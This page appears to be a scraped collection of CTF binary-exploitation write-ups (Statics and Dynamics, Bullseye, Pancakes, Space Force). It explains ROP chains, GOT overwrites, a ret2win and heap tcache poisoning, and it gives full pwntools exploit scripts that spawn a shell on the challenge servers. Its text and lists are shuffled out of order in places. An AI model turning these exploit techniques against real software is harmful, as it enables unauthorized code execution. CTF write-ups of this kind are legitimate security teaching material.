arrow-left

All pages
gitbookPowered by GitBook
1 of 6

Loading...

Loading...

Loading...

Loading...

Loading...

Loading...

Statics and Dynamics

So this is a static binary. It's got a lot of libc zipped up within itself, removing ret2libc and ret2plt and stuff like that. Disassembling main and ignoring all the extra libc functions, we see it prints the string about it being a large binary and then calls gets on rbp-0x100. So, buffer overflow obviously. But what do we ret to? How to pop a shell?

System, execve etc. all the stuff that may be useful for shell popping is removed from the binary's libc functions. That doesn't matter though.

The libc is big, and it has a lot of purposes. It'll need to do many things including syscalls. Because of this, libc is always a ROP gadget goldmine. Since this binary has most of libc in itself, this binary is also a ROP gadget goldmine.

Due to this, we can build a simple execve ROP chain to execve("/bin/sh",NULL,NULL), then cat flag.txt.

hashtag
Flag: flag{radically_statically_roppingly_vulnerable}

hashtag
EXPLANATION:

What I just used here is called Return Oriented Programming. ROP works by building chains of return addresses. When a program rets, it'll go to the next value off the stack as a return address. So, if our input is ever at the top of the stack, we can build chains of return addresses, causing it to continue ret-ing into the next location.

The ROP chain i used uses syscalls or system calls, the lowest level, used for special calls to the system, e.g opening files, writing to files, and in this case executing files.

The chain I just used is as follows. It uses the execve syscall since the function is not available. Remember 64-bit arguments are in rdi, then rsi, then rdx...

Our goal is to execute execve("/bin/sh",0,0) as a syscall

  • pop rdi address - pop next value off the stack into rdi for first argument

  • /bin/sh address - to be popped into rdi as first argument

  • pop rsi address - pop next value off the stack into rsi for second argument

from pwn import *
NUM_TO_RET = 0x100 + 8
padding = b'A' * NUM_TO_RET
e = ELF("./sad")
poprax = 0x000000000043f8d7
poprdi = 0x000000000040187a
poprsi = 0x0000000000407aae
poprdx = 0x000000000040177f
syscall = 0x000000000040eda4
binsh = next(e.search(b"/bin/sh\x00"))
# Build execve rop chain
payload = flat(poprdi,binsh,poprsi,0,poprdx,0,poprax,0x3b,syscall,word_size=64)
p = e.process() if args.LOCAL else remote('jh2i.com', 50002)
p.recvline()
p.sendline(padding + payload)
p.interactive()
0 - to be popped into rsi as second argument
  • pop rdx address - pop next value off the stack into rdx for third argument

  • 0 - to be popped into rdx as third argument

  • pop rax address - pop next value off of the stack into rax. RAX stores the syscall number when a syscall is done.

  • 0x3b - to be popped into rax for the syscall number. 0x3b is execve

  • syscall address - execute the syscall. Will be asking the kernel to execute execve("/bin/sh",0,0)

  • Bullseye

    It takes an address and number in hex, then writes the number to the address. The hex is parsed by strtoull which will be useful later.

    After writing, it calls sleep(0xf), then prints the address of alarm and calls exit. The address of alarm gives us a libc leak. Partial RELRO, so GOT overwrite is possible. Here's what we do:

    1. Overwrite exit@got with main. When it attempts to exit after printing a libc pointer to us, it'll call main, giving us another write

    2. Overwrite sleep@got with main(we couldn't do this before as alarm is called after sleep but we dont need anymore leaks) so that the alarm doesnt catch us out and our exploit is quick from then on

    3. Overwrite strtoull@got with system so next time it tries to turn our input to hex it calls system on it

    4. Enter /bin/sh as the next address

    Shell will be popped, we can cat flag.txt.

    from pwn import *
    import time
    e = ELF("./bullseye")
    libc = e.libc if args.LOCAL else ELF("/home/kali/Tools/libc-database/libs/libc6_2.30-0ubuntu2.2_amd64/libc.so.6")
    p = e.process() if args.LOCAL else remote('jh2i.com', 50031)
    p.recvlines(2)
    def write(addr,value,sleep=False):
        output = None
        p.recvline()
        p.sendline(hex(addr))
        p.recvline()
        p.sendline(hex(value))
        if sleep:
            log.info(f"Sleeping...")
            time.sleep(0xf)
            log.info(F"Finished with sleep")
            output = int(p.recvline(),16)
        p.recvlines(2)
        return output
    # Set exit to main to get another leak and call main again for more writes(one write? says WHO)
    leak = write(e.got['exit'],e.symbols['main'],sleep=True)
    log.info(f"Libc leak: {hex(leak)}")
    libc.address = leak - libc.symbols['alarm']
    log.info(f"Libc base: {hex(libc.address)}")
    # Set sleep to main because we dont need more leaks and its annoying
    write(e.got['sleep'],e.symbols['main'])
    # Let's start the main exploit process
    # Overwrite strtoull with system so whenever it tries to parse input, it'll call system
    write(e.got['strtoull'],libc.symbols['system'])
    # Now we enter /bin/sh into prompt
    p.recvline()
    p.sendline("/bin/sh")
    p.interactive()

    Binary Exploitation

    Pancakes

    Gets is called on rbp-0x90, there's a function called secret_recipe which reads flag.txt and prints it to stdout. So, just your standard ret2win, overflow 0x90 + 8 bytes of the buffer to overwrite the return address to that of secret_recipe

    from pwn import *
    NUM_TO_RET = 0x90 + 8
    padding = b'A' * NUM_TO_RET
    e = ELF("./pancakes")
    #p = e.process()
    p = remote('jh2i.com',50021)
    p.recvlines(2)
    p.sendline(padding + p64(e.symbols['secret_recipe']))
    p.interactive()

    hashtag
    Flag: flag{too_many_pancakes_on_the_stack}

    Space Force

    Space Force - Binary Exploitation

    hashtag
    Solved by Day - gg for the writeup :smile:

    hashtag
    Flag found at the end

    Given the name "space FORCE" this was probably meant to be house of force but I felt like that would be more complicated than what I ended up doing so I... didn't do that.

    Instead, I went along the path of a more complex tcache poisoning attack.

    Let's digest the program first before we look at how we are to attack it.

    We have 5 functions:

    • register account

    • print account by UID

    • print all accounts

    I'm not gonna talk about launch rocket, since it seems rather useless and I didn't use it at all.

    hashtag
    Register account

    We choose a first name, last name, and can set the expiry if we want. Note the expiry, unlike the comment, is malloc-ed no matter what, it's just not initialised if we don't set the expiry. We can also set the comment, for this we get to specify the size and it gets malloced. Here are some representations of how accounts are stored:

    hashtag
    UID

    Simply represents the index of the account in the account array, which by the way is stored on the stack and has no cap.

    hashtag
    Print account by UID

    Specify UID(which is used as an index to grab the account) and the UID, first name and last name will be printed. Note that there's no checks at all on the UID and deleted accounts aren't removed from the array, the account counter is just decremented(read after free) but I ended up not using this, as the UID is only printed as an integer and thus not a lot of information can be reaped.

    hashtag
    Print all accounts

    Note that the program keeps an account counter, incrementing when an account is made, decrementing when the last account is deleted.(This is also how it keeps track of the last account). All accounts up to this counter are printed: UID, last name, first name But this time so is the expiry - day, year and month.

    hashtag
    Ok, we've covered all the important functions. Let's dissect our two main vulns.

    hashtag
    VULN 1

    Malloc does NOT initialise data. Info leak! Left over pointers from a free chunk newly allocated remain. This allows us to get a heap leak by smartly handling expiries, which I'll explain below.

    hashtag
    VULN 2

    There is overflow when we make an expiry. 32 bytes are read into the month when only 16 should be read. This gives overflow of 15 bytes after the end of the expiry chunk(1 byte is reserved for null as fgets is used)

    hashtag
    Let's dissect a little more into exactly how our data is stored on the heap.

    So, we've already covered the account and expiry structs.

    • Accounts are 0x70 size chunks(0x60 allocation)

    • Expiries are 0x20 size chunks(0x10 allocation)

    • Comments are malloc-ed to their exact size

    So, how do we get this info leak?

    Let's start off with two accounts, no comment. Heap is as follows:

    Let's free them both, and take a look at the tcache

    • 0x20 bin -> account 0 expiry -> account 1 expiry

    • 0x70 bin -> account 0 -> account 1

    Let's make another account, it'll be served pretty much on top of the old count 0. Let's again not set an expiry.

    Now, remember how I said it just doesnt initialise when we dont set an expiry? This means in place of the day and year fields, will set a heap pointer! We can leak this pointer!:

    • Printing all accs

    • Extracting the day and year pointers

    • Doing twos complement (as they may be displayed negative)

    This gives us the heap base

    > Ok.. ok, so we know the whereabouts of the heap. What about libc?

    In hindsight this could've been done SOOO much simpler by forcing an unsorted bin chunk then doing the same sort of protocol as the 0x20 would be served by the unsorted bin but.. here we are. The 15 bytes of overflow past the expiry chunk lets us overwrite the size field of the next chunk (I didnt do anything here, just set it to what it already was) and then overwrite the 8 bytes afterwards. This can be used nicely for tcache poisoning, overwriting the next pointer of a tcache chunk.

    What I did was:

    • allocate an account with a 0xe0 sized comment

    • freeed it

    • allocated an account with

    This account would be in around the same place, just below the old, freed, tcache comment chunk.

    With the expiry overflow, we can overwrite the next pointer to execute tcache poisoning. Given my knowledge of the whereabouts of the heap, I used this to:

    • go back

    • overwrite the expiry pointer of chunk 0 to an existing unsorted bin chunk

    So, we can set the next pointer to the address of the expiry pointer of chunk 0. Make a 0xe0 comment allocation, make one again - this will be on top of chunk 0's expiry pointer! Let's overwrite the expiry pointer with that of the unsorted bin chunk.

    > Now, by printing all accounts, we also print the libc pointer hidden in the expiry(it'll be right at the month field).

    > Note the 0xf0 tcache is utterly fried after this so we wont be making any 0xe0 allocations again.

    Now, we've got heap AND libc!!! We just need the final piece - an arb write, preferable to write to free hook.

    We can repeat this process again, but things get more complicated. Going back to getting an unsorted chunk, this is only possible through:

    • filling up the tcache (I used 0xf0 tcache)

    • freeing another one

    Problem with this is...

    1. It leaves an unwanted unsorted/small bin chunk we'll need to completely serve out to stop allocations earlier on in the heap

    2. It wastes a lot of space on the heap as all these old tcache chunks get disconnected from tcache. We'll need to refill these phantom freed account blocks before we move on

    3. We can't have too many accounts, it'll overwrite important things on the stack and maybe even the return address to account addresses(since NX is on this isn't at all helpful)

    I went smart about this, and in my filling up of the heap so that we can get a nice "clean slate" ready for the second poisoning. I used comment sizes that imitated account creations.

    Eventually, through some trial and error and thinking:

    • I was able to do a good set of allocations

      • that efficiently used the list to fill up the entirety of the previous section of the heap

      • such that all new allocations are top chunk allocations.

    Finally, we can:

    • allocate a chunk with 0xf0 size

      • such that the comment chunk will be of size 0x100

      • it won't be in the previously destroyed tcache.

    hashtag
    Explanation

    Free hook is called on the pointer that is about to be freed before it is freed. Overwriting free hook with system means the chunk about to be freed (in this case /bin/sh as we wrote that to free hook -8) will have system called on it Allocating at free hook-8 to get free hook overwrite and also extra space for /bin/sh for system is a nice little trick i learned from a fizzbuzz writeup, which he learned from NotDeGhost's writeups.

    hashtag
    Summarisation

    1. Abuse lack of pointer clearing to leak heap pointers using expiries by allocating two, freeing two then allocation one(all without expiry initialisation)

    2. Fill 0xf0 tcache, get an unsorted bin chunk this way(we can allocate chunks of arbitrary sizes via allocating accounts with specific sizes of comments)

    3. Tcache poison to get a chunk at the expiry pointer of account 0

    hashtag
    Flag

    flag{michael_scott_for_president}

    delete last registered account

  • launch rocket.

  • Note we can't read to comments, only write.
    Reconstructing the ints to get the original heap address
    no comment
    .
    (as that would have libc pointers).
  • Then, we free it

  • Allocate an account with no comment

  • tcache poison via overflow

  • Set the next pointer to free hook-8

    • Allocate an account

    • 0xf0 comment size

  • Do that again

    • The second one's comment will be at free hook-8

  • write /bin/sh + system

  • free the previous account

  • shell popped!

  • Overwrite expiry pointer to point at unsorted bin chunk(which will have libc pointer)

  • Leak libc by printing all accounts

  • Fill up previous section of the heap through a series of specifically comment-sized registrations

  • Tcache poison again this time in the 0x100 tcache to get a chunk at free hook-8

  • Write /bin/sh\x00 + system

  • Free last account

  • Shell popped

  • Exploit script can be found herearrow-up-right
    struct account {
      unsigned long uid;
      struct expiry * expiration;
      char firstname[32];
      char lastname[32];
      char* comment;
      long comment_size;
    }
    struct expiry {
      int day;
      int year;
      char month[16];
    }
    0x70 chunk
    0x20 chunk
    0x70 chunk
    0x20 chunk
    account chunk
    expiry chunk
    0xf0 size tcache chunk